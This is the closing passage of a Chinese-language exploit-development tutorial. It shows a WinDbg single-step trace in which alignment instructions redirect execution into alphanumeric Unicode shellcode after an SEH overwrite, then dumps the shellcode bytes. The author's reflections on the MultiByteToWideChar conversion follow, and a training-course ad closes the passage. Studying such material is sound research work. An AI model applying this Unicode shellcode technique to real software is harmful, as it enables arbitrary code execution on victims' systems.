eip=0012fdaf esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
0012fdaf 006e00 add byte ptr [esi],ch ds:0023:0012d999=15
0:000> t
eax=0012d9e0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdb2 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
0012fdb2 0500160011 add eax,offset bass+0x1600 (11001600)
0:000> t
eax=1112efe0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdb7 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0012fdb7 006e00 add byte ptr [esi],ch ds:0023:0012d999=47
0:000> t
eax=1112efe0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdba esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0012fdba 2d00110011 sub eax,offset bass+0x1100 (11001100)
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdbf esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0012fdbf 006e00 add byte ptr [esi],ch ds:0023:0012d999=79
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdc2 esp=0012d908 ebp=0012fda0 iopl=0 ov up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200a82
0012fdc2 50 push eax
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdc3 esp=0012d904 ebp=0012fda0 iopl=0 ov up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200a82
0012fdc3 006e00 add byte ptr [esi],ch ds:0023:0012d999=ab
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdc6 esp=0012d904 ebp=0012fda0 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286
0012fdc6 7200 jb 0012fdc8 [br=0]
[COLOR="red"]0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdc8 esp=0012d904 ebp=0012fda0 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286
0012fdc8 c3 ret[/COLOR]
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012dee0 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286
0012dee0 50 push eax
0:000> d eip
0012dee0 50 00 50 00 59 00 41 00-49 00 41 00 49 00 41 00 P.P.Y.A.I.A.I.A.
0012def0 49 00 41 00 49 00 41 00-51 00 41 00 54 00 41 00 I.A.I.A.Q.A.T.A.
0012df00 58 00 41 00 5a 00 41 00-50 00 41 00 33 00 51 00 X.A.Z.A.P.A.3.Q.
0012df10 41 00 44 00 41 00 5a 00-41 00 42 00 41 00 52 00 A.D.A.Z.A.B.A.R.
0012df20 41 00 4c 00 41 00 59 00-41 00 49 00 41 00 51 00 A.L.A.Y.A.I.A.Q.
0012df30 41 00 49 00 41 00 51 00-41 00 50 00 41 00 35 00 A.I.A.Q.A.P.A.5.
0012df40 41 00 41 00 41 00 50 00-41 00 5a 00 31 00 41 00 A.A.A.P.A.Z.1.A.
0012df50 49 00 31 00 41 00 49 00-41 00 49 00 41 00 4a 00 I.1.A.I.A.I.A.J.
如上,我们已经跳转到了shellcode。我们的邪恶目的达到啦!
四、小结
一路通过假设并通过实验来验证,我们最终达到了自己的要求。回过头来,我们也发现其实技术含量并不高,无非通过构造字符串来试探,可是,调试风雨路上何处不是试探呢?
做完这个之后,我一直想搞清楚Unicode转换在本漏洞软件中到底是如何转换的,并想把机制讲清楚,可是通过对strcpy()、wcscpy等拷贝函数设断都没有断下拷贝的过程(应该是通过拷贝来覆盖SEH吧?
)。以便上升到理论的高度,可惜到目前为止,仍然没有结果。希望有兴趣的朋友可以和我一起讨论。
不管如何,我们毕竟找到了一个字符串,通过转换后生成的Unicode字符包含C3(Retn跳转指令)。这也算是成功吧,大雪天聊以慰藉!
欢迎继续关注MultiByteToWideChar()在中文系统中的奥秘,同时继续为Unicode Exploit开发做出自己的一份贡献。再次,感谢泉哥的帮助和指导!
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
上传的附件: